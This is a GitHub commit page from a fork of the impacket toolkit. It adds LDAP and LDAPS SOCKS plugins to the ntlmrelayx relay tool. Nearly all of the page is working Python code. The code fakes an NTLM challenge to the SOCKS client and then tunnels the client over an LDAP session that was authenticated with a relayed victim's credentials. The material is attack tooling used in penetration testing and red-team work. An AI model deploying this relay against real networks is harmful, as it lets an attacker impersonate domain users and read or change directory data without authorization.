forked from fortra/impacket
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #6 from b1two/add-ldap-socks-ntlmrelayx
Add support for LDAP and LDAPS in ntlmrelayx SOCKS
- Loading branch information
Showing
3 changed files
with
365 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
286 changes: 286 additions & 0 deletions
286
impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,286 @@ | ||
import calendar | ||
import select | ||
import socket | ||
import struct | ||
import time | ||
import binascii | ||
import threading | ||
from pyasn1.codec.ber import encoder, decoder | ||
from pyasn1.error import SubstrateUnderrunError | ||
from pyasn1.type import univ | ||
|
||
from impacket import LOG, ntlm | ||
from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay | ||
from impacket.ldap.ldap import LDAPSessionError | ||
from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, LDAPMessage, LDAPString, ResultCode | ||
|
||
PLUGIN_CLASS = 'LDAPSocksRelay' | ||
|
||
class LDAPSocksRelay(SocksRelay): | ||
PLUGIN_NAME = 'LDAP Socks Plugin' | ||
PLUGIN_SCHEME = 'LDAP' | ||
|
||
MSG_SIZE = 4096 | ||
|
||
def __init__(self, targetHost, targetPort, socksSocket, activeRelays): | ||
SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) | ||
|
||
@staticmethod | ||
def getProtocolPort(): | ||
return 389 | ||
|
||
def initConnection(self): | ||
# No particular action required to initiate the connection | ||
pass | ||
|
||
def skipAuthentication(self): | ||
# Faking an NTLM authentication with the client | ||
while True: | ||
messages = self.recv() | ||
LOG.debug(f'Received {len(messages)} message(s)') | ||
|
||
for message in messages: | ||
msg_component = message['protocolOp'].getComponent() | ||
if msg_component.isSameTypeWith(BindRequest): | ||
# BindRequest received | ||
|
||
if msg_component['name'] == LDAPDN('') and msg_component['authentication'] == univ.OctetString(''): | ||
# First bind message without authentication | ||
# Replying with a request for NTLM authentication | ||
|
||
LOG.debug('Got empty bind request') | ||
|
||
bindresponse = BindResponse() | ||
bindresponse['resultCode'] = ResultCode('success') | ||
bindresponse['matchedDN'] = LDAPDN('NTLM') | ||
bindresponse['diagnosticMessage'] = LDAPString('') | ||
self.send(bindresponse, message['messageID']) | ||
|
||
# Let's receive next messages | ||
continue | ||
|
||
elif msg_component['name'] == LDAPDN('NTLM'): | ||
# Requested NTLM authentication | ||
|
||
LOG.debug('Got NTLM bind request') | ||
|
||
# Building the NTLM negotiate message | ||
# It is taken from the smbserver example | ||
negotiateMessage = ntlm.NTLMAuthNegotiate() | ||
negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets()) | ||
|
||
# Let's build the answer flags | ||
ansFlags = 0 | ||
|
||
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56: | ||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56 | ||
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128: | ||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128 | ||
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: | ||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ||
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: | ||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | ||
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: | ||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE | ||
if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM: | ||
ansFlags |= ntlm.NTLM_NEGOTIATE_OEM | ||
|
||
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET | ||
|
||
# Generating the AV_PAIRS | ||
# Using dummy data with the client | ||
av_pairs = ntlm.AV_PAIRS() | ||
av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[ | ||
ntlm.NTLMSSP_AV_DNS_HOSTNAME] = 'DUMMY'.encode('utf-16le') | ||
av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[ | ||
ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = 'DUMMY'.encode('utf-16le') | ||
av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', ( | ||
116444736000000000 + calendar.timegm(time.gmtime()) * 10000000)) | ||
|
||
challengeMessage = ntlm.NTLMAuthChallenge() | ||
challengeMessage['flags'] = ansFlags | ||
challengeMessage['domain_len'] = len('DUMMY'.encode('utf-16le')) | ||
challengeMessage['domain_max_len'] = challengeMessage['domain_len'] | ||
challengeMessage['domain_offset'] = 40 + 16 | ||
challengeMessage['challenge'] = binascii.unhexlify('1122334455667788') | ||
challengeMessage['domain_name'] = 'DUMMY'.encode('utf-16le') | ||
challengeMessage['TargetInfoFields_len'] = len(av_pairs) | ||
challengeMessage['TargetInfoFields_max_len'] = len(av_pairs) | ||
challengeMessage['TargetInfoFields'] = av_pairs | ||
challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name']) | ||
challengeMessage['Version'] = b'\xff' * 8 | ||
challengeMessage['VersionLen'] = 8 | ||
|
||
# Building the LDAP bind response message | ||
bindresponse = BindResponse() | ||
bindresponse['resultCode'] = ResultCode('success') | ||
bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData()) | ||
bindresponse['diagnosticMessage'] = LDAPString('') | ||
|
||
# Sending the response | ||
self.send(bindresponse, message['messageID']) | ||
|
||
else: | ||
# Received an NTLM auth bind request | ||
|
||
# Parsing authentication method | ||
chall_response = ntlm.NTLMAuthChallengeResponse() | ||
chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets()) | ||
|
||
username = chall_response['user_name'].decode('utf-16le') | ||
domain = chall_response['domain_name'].decode('utf-16le') | ||
self.username = f'{domain}/{username}' | ||
|
||
# Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins) | ||
if f'{domain}/{username}'.upper() in self.activeRelays: | ||
self.username = f'{domain}/{username}'.upper() | ||
elif f'{domain.split(".", 1)[0]}/{username}'.upper() in self.activeRelays: | ||
self.username = f'{domain.split(".", 1)[0]}/{username}'.upper() | ||
else: | ||
# Username not in active relays | ||
LOG.error('LDAP: No session for %s@%s(%s) available' % ( | ||
username, self.targetHost, self.targetPort)) | ||
return False | ||
|
||
if self.activeRelays[self.username]['inUse'] is True: | ||
LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % ( | ||
self.username, self.targetHost, self.targetPort)) | ||
return False | ||
else: | ||
LOG.info('LDAP: Proxying client session for %s@%s(%s)' % ( | ||
self.username, self.targetHost, self.targetPort)) | ||
self.activeRelays[self.username]['inUse'] = True | ||
self.session = self.activeRelays[self.username]['protocolClient'].session.socket | ||
|
||
# Building successful LDAP bind response | ||
bindresponse = BindResponse() | ||
bindresponse['resultCode'] = ResultCode('success') | ||
bindresponse['matchedDN'] = LDAPDN('') | ||
bindresponse['diagnosticMessage'] = LDAPString('') | ||
|
||
# Sending successful response | ||
self.send(bindresponse, message['messageID']) | ||
|
||
return True | ||
|
||
def recv(self): | ||
'''Receive LDAP messages during the SOCKS client LDAP authentication.''' | ||
|
||
data = b'' | ||
done = False | ||
while not done: | ||
recvData = self.socksSocket.recv(self.MSG_SIZE) | ||
if len(recvData) < self.MSG_SIZE: | ||
done = True | ||
data += recvData | ||
|
||
response = [] | ||
while len(data) > 0: | ||
try: | ||
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) | ||
except SubstrateUnderrunError: | ||
# We need more data | ||
remaining = data + self.socksSocket.recv(self.MSG_SIZE) | ||
else: | ||
if message['messageID'] == 0: # unsolicited notification | ||
name = message['protocolOp']['extendedResp']['responseName'] or message['responseName'] | ||
notification = KNOWN_NOTIFICATIONS.get(name, "Unsolicited Notification '%s'" % name) | ||
if name == NOTIFICATION_DISCONNECT: # Server has disconnected | ||
self.close() | ||
raise LDAPSessionError( | ||
error=int(message['protocolOp']['extendedResp']['resultCode']), | ||
errorString='%s -> %s: %s' % (notification, | ||
message['protocolOp']['extendedResp']['resultCode'].prettyPrint(), | ||
message['protocolOp']['extendedResp']['diagnosticMessage']) | ||
) | ||
response.append(message) | ||
data = remaining | ||
|
||
return response | ||
|
||
def send(self, response, message_id, controls=None): | ||
'''Send LDAP messages during the SOCKS client LDAP authentication.''' | ||
|
||
message = LDAPMessage() | ||
message['messageID'] = message_id | ||
message['protocolOp'].setComponentByType(response.getTagSet(), response) | ||
if controls is not None: | ||
message['controls'].setComponents(*controls) | ||
|
||
data = encoder.encode(message) | ||
|
||
return self.socksSocket.sendall(data) | ||
|
||
def tunnelConnection(self): | ||
'''Charged of tunneling the rest of the connection.''' | ||
|
||
self.stop_event = threading.Event() | ||
self.server_is_gone = False | ||
|
||
# Client to Server | ||
c2s = threading.Thread(target=self.recv_from_send_to, args=(self.socksSocket, self.session, False)) | ||
c2s.daemon = True | ||
# Server to Client | ||
s2c = threading.Thread(target=self.recv_from_send_to, args=(self.session, self.socksSocket, True)) | ||
s2c.daemon = True | ||
|
||
c2s.start() | ||
s2c.start() | ||
|
||
# Should wait until the client or server closes connection | ||
c2s.join() | ||
s2c.join() | ||
|
||
if self.server_is_gone: | ||
# There was an error with the server socket | ||
# Raising an exception so that the socksserver.py module can remove the current relay | ||
# from the available ones | ||
raise BrokenPipeError('Broken pipe: LDAP server is gone') | ||
|
||
# Free the relay so that it can be reused | ||
self.activeRelays[self.username]['inUse'] = False | ||
|
||
LOG.debug('Finished tunnelling') | ||
|
||
return True | ||
|
||
def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, recv_from_is_server: bool): | ||
''' | ||
Simple helper that receives data on the recv_from socket and sends it to send_to socket. | ||
The recv_from_is_server allows to properly stop the relay when the server closes connection. | ||
''' | ||
|
||
while not self.stop_event.is_set(): | ||
is_ready, a, b = select.select([recv_from], [], [], 1.0) | ||
|
||
if not is_ready: | ||
continue | ||
|
||
try: | ||
data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) | ||
except Exception: | ||
if recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|
||
LOG.debug(f'Received {len(data)} byte(s) from {"server" if recv_from_is_server else "client"}') | ||
|
||
if data == b'': | ||
if recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|
||
try: | ||
send_to.send(data) | ||
except Exception: | ||
if not recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|
72 changes: 72 additions & 0 deletions
72
impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
import select | ||
from impacket import LOG | ||
from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay | ||
from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin | ||
from OpenSSL import SSL | ||
|
||
PLUGIN_CLASS = "LDAPSSocksRelay" | ||
|
||
class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay): | ||
PLUGIN_NAME = 'LDAPS Socks Plugin' | ||
PLUGIN_SCHEME = 'LDAPS' | ||
|
||
def __init__(self, targetHost, targetPort, socksSocket, activeRelays): | ||
LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) | ||
|
||
@staticmethod | ||
def getProtocolPort(): | ||
return 636 | ||
|
||
def skipAuthentication(self): | ||
LOG.debug('Wrapping client connection in TLS/SSL') | ||
self.wrapClientConnection() | ||
|
||
# Skip authentication using the same technique as LDAP | ||
if not LDAPSocksRelay.skipAuthentication(self): | ||
# Shut down TLS connection | ||
self.socksSocket.shutdown() | ||
return False | ||
|
||
return True | ||
|
||
def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool): | ||
''' | ||
Simple helper that receives data on the recv_from socket and sends it to send_to socket. | ||
- The recv_from_is_server allows to properly stop the relay when the server closes connection. | ||
- This method is called by the tunnelConnection method implemented for LDAPSocksRelay, it is | ||
redefined here to support TLS. | ||
''' | ||
|
||
while not self.stop_event.is_set(): | ||
if recv_from.pending() == 0 and not select.select([recv_from], [], [], 1.0)[0]: | ||
# No data ready to be read from recv_from | ||
continue | ||
|
||
try: | ||
data = recv_from.recv(LDAPSocksRelay.MSG_SIZE) | ||
except Exception: | ||
if recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|
||
LOG.debug(f'Received {len(data)} bytes from {"server" if recv_from_is_server else "client"}') | ||
|
||
if data == b'': | ||
if recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|
||
try: | ||
send_to.send(data) | ||
except Exception: | ||
if not recv_from_is_server: | ||
self.server_is_gone = True | ||
|
||
self.stop_event.set() | ||
return | ||
|